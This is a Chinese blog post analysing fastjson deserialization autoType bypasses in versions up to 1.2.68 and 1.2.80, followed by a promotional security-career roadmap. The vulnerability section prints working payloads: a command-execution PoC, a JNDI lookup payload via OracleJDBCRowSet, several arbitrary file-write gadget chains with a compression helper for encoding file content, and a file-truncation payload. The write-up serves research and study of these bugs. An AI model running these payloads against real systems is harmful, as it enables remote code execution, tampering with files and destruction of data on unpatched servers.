深究fastjson利用分析

fastjson <= 1.2.68

对上个版本的修复

在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在MiscCodec处理 Class 类的地方,设置了cache 为
false ,并且loadClass重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。

更新了一个新的安全控制点 safeMode,如果应用程序开启了 safeMode,将在checkAutoType()中直接抛出异常,也就是完全禁止
autoType

漏洞概述

在这个版本中主要是通过利用checkAutoType中的参数expectClass

1658472206_62da470ec59b31c0a9a4d.png!small?1658472206483

ParserConfig#checkAutoType中,
如果想要加载的类不在白名单中,如果开启了autoTypeSupport或者expectClassFalgTrue都是可以的,这里我们需要在不开启autoTypeSupport的情况下,加载类,所以我们需要使得后者为true

1658472224_62da4720e465a09cb82fb.png!small?1658472224660

如上图所示,想要expectClassFlag满足条件,就需要绕过这些内置的黑名单了

所以绕过的方法为:

  1. 以某个类作为expectClass参数传入checkAutoType
  2. 查找反序列化expectClass的子类或实现,如果构造方法或setter中含有其它类型可重复第一步构造一个反序列化链,直到找到可以利用的类为止

漏洞分析

总体

我们需要寻找有哪些类或者接口可以通过校验,存有:

  • 白名单(符合白名单条件的类)
  • TypeUtils.mappings (符合缓存映射中获取的类)
  • typeMapping (ParserConfig中本身带有的集合)
  • deserializers (符合反序列化器的类)

TypeUtils#getClassFromMapping处打下断点,查看TypeUtils.mappings的可用类或接口

1658472255_62da473fb5258acc0b0cd.png!small?1658472255431

这里面有很多,比如这个java.lang.AutoCloseable接口

1658472265_62da4749556fe080bfc02.png!small?1658472265088

使用的是JavaBeanDeserializer反序列化器, 在实例化对象的时候因为该类型是接口,则将会继续解析下一个JSON字段

1658472276_62da4754c499387485e07.png!small?1658472276506

如果存在而且为类型(@Type修饰)

1658472287_62da475f62c2ac90cd973.png!small?1658472287200

就将这个接口作为expectClass参数传入checkAutoType检测下一个类型

1658472296_62da476820afd48a122c9.png!small?1658472295779

很明显,这里不会被拦截,使得expectClassFlagtrue

1658472304_62da47701c8830ab8ee99.png!small?1658472303851

直接一路来到了类加载,绕过了AutoType的检测,成功加载了恶意类

package pers.fastjson;  
​  
import com.alibaba.fastjson.JSON;  
​  
public class Fj68TestPoc {  
public static void main(String[] args) {  
String payload = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"pers.fastjson.Fj68Test\", \"cmd\":\"calc.exe\"}";  
JSON.parseObject(payload);  
}  
}

对于java.lang.AutoCloseable的实现非常多,我们需要挖掘实现其的类

1658472320_62da478082559a47710b2.png!small?1658472321414

细节
  1. 期望类存在黑名单过滤

    } else {

if (expectClass == Object.class  
|| expectClass == Serializable.class  
|| expectClass == Cloneable.class  
|| expectClass == Closeable.class  
|| expectClass == EventListener.class  
|| expectClass == Iterable.class  
|| expectClass == Collection.class  
) {  
expectClassFlag = false;  
} else {  
expectClassFlag = true;  
}  
}
  1. 黑名单类,fastjson 在 denyHashCodes 里几乎把常见的容易造成漏洞的类都加进了黑名单,这就造成了攻击成本变高,如果要利用漏洞,只能花费更多的时间去寻未被发现的常用库 gadget

  2. 父类、父接口黑名单,fastjson 在判断期望类之前将继承自 ClassLoader、DataSource、RowSet 的类直接抛出异常。

    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger

|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver  
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //  
) {  
throw new JSONException("autoType is not support. " + typeName);  
}

而常用的 JNDI RCE 类基本上都继承自 DataSource 和 RowSet,所以能找到的 JNDI gadget 基本都无法在这个漏洞中使用。

以上三点足够让大部分常见的 gadget 无法使用

利用链

JNDI

这里主要是针对1.2.50版本及以前,因为在51版本就把OracleJDBCRowSet加入了黑名单

想要利用这个需要有oracle jdbc依赖

1658472346_62da479adbc6b76a07883.png!small?1658472346615

可以知道这里是实现了java.lang.AutoCloseable接口的,可以绕过autoTypeSupport

调用链如下

1658472356_62da47a4a2bca50975372.png!small?1658472356314

OracleJDBCRowSet#getConnectionlookup的参数可控,通过调用getDataSourceName方法得到

跟进方法,为其父类的方法,且存在相应属性

1658472368_62da47b0bec96836065e1.png!small?1658472368347

那怎么调用getConnection方法呢?

在setCommand方法中存在调用

1658472379_62da47bb69cc8795a122e.png!small?1658472379049

我们就可以设定一个command属性值,触发他的setter方法,达到触发漏洞的目的

Payload

{  
"@type":"java.lang.AutoCloseable",  
"@type":"oracle.jdbc.rowset.OracleJDBCRowSet",  
"dataSourceName":"ldap://localhost:9999/Evil",  
"command":"a"  
}
文件读写
写文件

浅蓝给的思路:

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个
    OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
  • 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用
    toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 flush 方法
  • 指定文件路径的 排错

    {
    “@type”: “java.lang.AutoCloseable”,
    “@type”: “java.io.FileOutputStream”,
    “file”: “/tmp/test.txt”,
    “append”: “false”
    }

但是这里出现了问题:

1658472397_62da47cd88ad7c580911e.png!small?1658472397121

原因是在JavaBeanInfo#build方法中调用ASMUtils.lookupParameterNames(constructor)方法获取构造方法的参数名。如果没找到,则抛出上述异常

使用javap -l <classname>判断是否包含参数名信息

1658472402_62da47d2df77ca7b8c701.png!small?1658472402594

对比发现不同的JDK不一样

payload1

{  
'@type':"java.lang.AutoCloseable",  
'@type':'sun.rmi.server.MarshalOutputStream',  
'out':  
{  
'@type':'java.util.zip.InflaterOutputStream',  
'out':  
{  
'@type':'java.io.FileOutputStream',  
'file':'/tmp/fj_hack_jdk11',  
'append':false  
},  
'infl':  
{  
'input':  
{  
'array':'eJzzSK1USMqv1FHwVEjMVQjKT8oPSS3KAABRJwdZ',  
'limit':30  
}  
},  
'bufLen':1048576  
},  
'protocolVersion':1  
}
  • 条件

需要时带有调试信息的JDK才可以利用成功(JDK11) 同样可以改造成适用于JDK8的payload

“input”: “eJzzSK1USMqv1FHwVEjMVQjKT8oPSS3KAABRJwdZ”

  • 简单分析

我们就按照内到外分析,通过InflaterOutputStream的构造方法传入out参数是一个FileOutputStream指定的输出流路径的输出流对象,而另一个参数是infl是一个Inflater对象,通过调用他的setInput方法,指定buffer数据,值得注意的是他会使用com.alibaba.fastjson.serializer.ByteBufferCodec这个反序列化器进行处理,该反序列化器会将数据先反序列化为com.alibaba.fastjson.serializer.ByteBufferCodec$ByteBufferBean,然后再调用ByteBufferCodec$ByteBufferBean#byteBuffer()方法返回ByteBuffer对象

最后呢,就通过最外层的MarshalOutputStream的构造方法,最终执行了flush,成功写入文件

因为这里存在一个解压数据的过程,我们就需要将想写入的数据,压缩之后base64编码

    public class InflaterTest {  
​  
public static byte[] zlibCompress(String message)throws Exception  
{  
String chatacter="UTF-8";  
byte[] input = message.getBytes(chatacter);  
System.out.println("input length "+input.length);  
byte[] output = new byte[input.length+10+new Double(Math.ceil(input.length*0.25f)).intValue()];  
System.out.println(output.length);  
Deflater compresser = new Deflater();  
compresser.setInput(input);  
compresser.finish();  
int compressedDataLength = compresser.deflate(output);  
System.out.println("compressedDataLength "+compressedDataLength);  
compresser.end();  
return Arrays.copyOf(output, compressedDataLength);  
}  
​  
public static byte[] zlibInfCompress(byte[] barr,String charater)throws Exception{  
byte[] result=new byte[barr.length];  
Inflater inf=new Inflater();  
inf.setInput(barr);  
int infLen=inf.inflate(result);  
inf.end();  
String strOgr=new String(result,charater);  
System.out.println("str ogr "+strOgr);  
return Arrays.copyOf(result, infLen);  
}  
public static void main(String[] args)throws Exception{  
​  
String str="Hey boy, I am RoboTerh";  
​  
byte[] def= InflaterTest.zlibCompress(str);  
String strBase=Base64.encodeBase64String(def);  
System.out.println("str base64 string "+strBase);  
byte[] decStr=Base64.decodeBase64(strBase);  
byte[] decode_str= InflaterTest.zlibInfCompress(decStr, "UTF-8");  
String decStrOgr=new String(decode_str,"UTF-8");  
System.out.println("decStrOgr "+decStrOgr);  
}  
}
payload2

{  
'stream':  
{  
'@type':"java.lang.AutoCloseable",  
'@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',  
'targetPath':'/tmp/dst',  
'tempPath':'/tmp/src'  
},  
'writer':  
{  
'@type':"java.lang.AutoCloseable",  
'@type':'com.esotericsoftware.kryo.io.Output',  
'buffer':'base64',  
'outputStream':  
{  
'$ref':'$.stream'  
},  
'position':19  
},  
'close':  
{  
'@type':"java.lang.AutoCloseable",  
'@type':'com.sleepycat.bind.serial.SerialOutput',  
'out':  
{  
'$ref':'$.writer'  
}  
}  
}
  • 其他类似

当然还有其他的利用链,比如第一个类使用org.apache.tools.ant.util.LazyFileOutputStream指定输出流路径,第二个类使用org.apache.solr.common.util.FastOutputStream,
第三个使用org.iq80.snappy.SnappyOutputStream

  • 依赖:

    org.aspectj aspectjtools 1.9.5 com.esotericsoftware kryo 4.0.0 com.sleepycat je 18.3.12
  • 简单分析

首先在stream中通过SafeFileOutputStream创建一个输出流对象,传入参数targetPath``tempPath,
成功指定输出流路径 然后再writer中通过Output的无参构造方法,创建一个输出流对象,通过buffer的setter方法向缓冲区写入数据,
这里应该是base64,因为其调用链为ObjectArrayCodec.deserializer -> JSONScanner.bytesValue -> IOUtils.decodeBase64, 最后通过ouputStream的setter方法将输出流指向stream

最后在close中通过SerialOutput创建一个输出流对象,并传入参数out,
指向writer中的输出流对象,最后会调用ObjectOutputStream的构造方法,最后调用Output.flush,成功写入

1658472441_62da47f935a1b3c441dd5.png!small?1658472440710

a) 只要dst存在,PoC就会往src写数据,与src是否存在无关。 b) dst不存在、src存在时,先"mv src dst",再往src写数据。
c) dst、src都不存在时才会往dst写数据。

清空文件
payload

{  
"@type":"java.lang.AutoCloseable",  
"@type":"java.io.FileOutputStream",  
"file":"/tmp/nonexist",  
"append":false  
}
  • 条件

需要通过ASMUtils.lookupParameterNames()即需要保留有调试信息

  • 分析

这里就是指定了一个路径的输出流,且设定为覆盖模式,且没有写入数据,导致清空文件内容

同样java.io.FileWriter也可以达到目的

fastjson <= 1.2.80

对上个版本的修复

将期望类java.lang.AutoCloseable加入了黑名单

漏洞分析

但是除了AutoCloseable可以进行绕过,Throwable也可以进行绕过,简单分析一下

主要是找到一个Deserializer可以将expressClass作为checkAutoType的参数,且能够突破expressClass的限制,正如这里的ThrowableDeserializer#deserialze中存在

1658472507_62da483b7b8a9c625c1a3.png!small?1658472507203

这里限制了必须为Throwable类或子类,存在一个java.lang.Exception类,不仅在TypeUtils.mappings中存在,而且没有在黑名单中

1658472512_62da48405df77dc9e3a86.png!small?1658472512063

所以只需要找到继承java.lang.Exception的类,就能够绕过检查

跟进代码,在第一次进入checkAutoType中的时候expectClass为null,

1658472518_62da4846158adee34cf57.png!small?1658472517662

一直跟进到这里尝试从mappings中获取缓存

1658472524_62da484cb752a6255e978.png!small?1658472524404

之后在ParserConfig#getDeserializer通过clazz获取到了反序列化器为ThrowableDeserializer

1658472529_62da48511fbecb6dd8004.png!small?1658472528676

之后调用其derserialize方法,跟进

1658472533_62da48555728daf6036ae.png!small?1658472533143

之后在这里获取下一个@type

1658472537_62da4859a918dec728b53.png!small?1658472537317

最后在这里将java.lang.Exception类作为expressClass传入

也能够成功绕过黑名单的检验

参考

Fastjson v1.2.80 Throwable AutoType
机制绕过漏洞分析

寻找Fastjson 1.2.68 AutoCloseable利用链(3)
(qq.com)

fastjson 读文件 gadget 的利用场景扩展 - 浅蓝 's blog
(b1ue.cn)

Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析
(qq.com)

最后

网络安全学习路线(就业版)

再次声明,此学习路线主打就业方向,如果只是感兴趣,想成为什么黑客的朋友可以划走了!

网络安全≠黑客

很多人上来就说想做想入行网络安全,但是连方向都没搞清楚就开始学习,最终也只是会无疾而终!黑客是一个大的概念,里面包含了许多方向,不同的方向需要学习的内容也不一样。

网络安全再进一步细分,还可以划分为:网络渗透、逆向分析、漏洞攻击、内核安全、移动安全、破解PWN等众多子方向。今天的这篇,主要是针对网络渗透方向,其他方向仅供参考,学习路线并不完全一样,有机会的话我再单独梳理。

今天,就为大家整理一份自己自学网络安全企业级的最主流的职业规划路线学习流程:

学前感言

  • 1.这是一条坚持的道路,三分钟的热情可以放弃往下看了.
  • 2.多练多想,不要离开了教程什么都不会了.最好看完教程自己独立完成技术方面的开发.
  • 3.有时多google,baidu,我们往往都遇不到好心的大神,谁会无聊天天给你做解答.
  • 4.遇到实在搞不懂的,可以先放放,以后再来解决

第一步:明确的学习路线

你肯定需要一份完整的知识架构体系图。

如图片过大被平台压缩导致模糊,可以在扫码下载高清无水印版

img

第二步:阶段性的学习目标&规划

img

企业级:初级网络安全工程师

1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。

②学习网络安全相关法律法规。

③网络安全运营的概念。

④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准

②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking

③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察

④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令

②Kali Linux系统常见功能和命令

③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构

②网络通信原理、OSI模型、数据 转发流程

③常见协议解析(HTTP、TCP/IP、ARP等)

④网络攻击技术与网络安全防御技术

⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础

②SQL语言基础

③数据库安全加固

6、Web渗透(1周)

①HTML、CSS和JavaScript简介 ②OWASP Top10 ③Web漏洞扫描工具 ④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

img

以上学习路线附全套教程由我个人支付上万元在培训机构付费购买,如有朋友需要扫码下方二维码免费获取,无偿分享!

一些我收集的网络安全自学入门书籍

img

一些我自己买的、其他平台白嫖不到的视频教程:

在这里插入图片描述

如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

进阶:脚本编程(初级/中级/高级)

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

高级网络安全工程师

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下。
img

学习资料

最后还是给大家分享一下我整理的这份【282G】的网络安全工程师从入门到精通的学习资料包,需要的小伙伴可以加我vx免费领取!后续会展示资料包的部分内容哦!
![img](https://img-blog.csdnimg.cn/img_convert/37ea220c018321d9c75965e418d55385.jpeg

4.面试题

当你学完整个教程最终目的还是为了就业,那么这一套各个大厂的内部面试题汇总你一定没理由错过,对吗?

5.其他

最后还有小白最需要的安装包和源码等更多资源,这里就不一一展示了,需要的小伙伴可以看文中内容免费领取全套合集大礼包

结语

最后我想说,人生艰难,职业发展也不容易。这些除了依靠个人努力,更需要天时地利人和等外在条件。这不是个人做一点选择就可以搞定的,劝退、转行容易,但是想要因此一帆风顺、平步青云难。

人生不只是选择题,不是会选就能赢,更何况很多人的选择还是盲目做出的。我理解很多人因为行情不好而焦虑,因为焦虑而打退堂鼓。但相比于因为受到鼓动草草做出一个前途未卜的决定,倒不如冷静下来思考一下,自己究竟想要什么,当下能够做点什么。有没有什么事情是当下就可以着手去做,并努力做好的?

仰望天空容易,砥砺前行难。愿我们都能沉着冷静,多做难事,踏实笃行。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值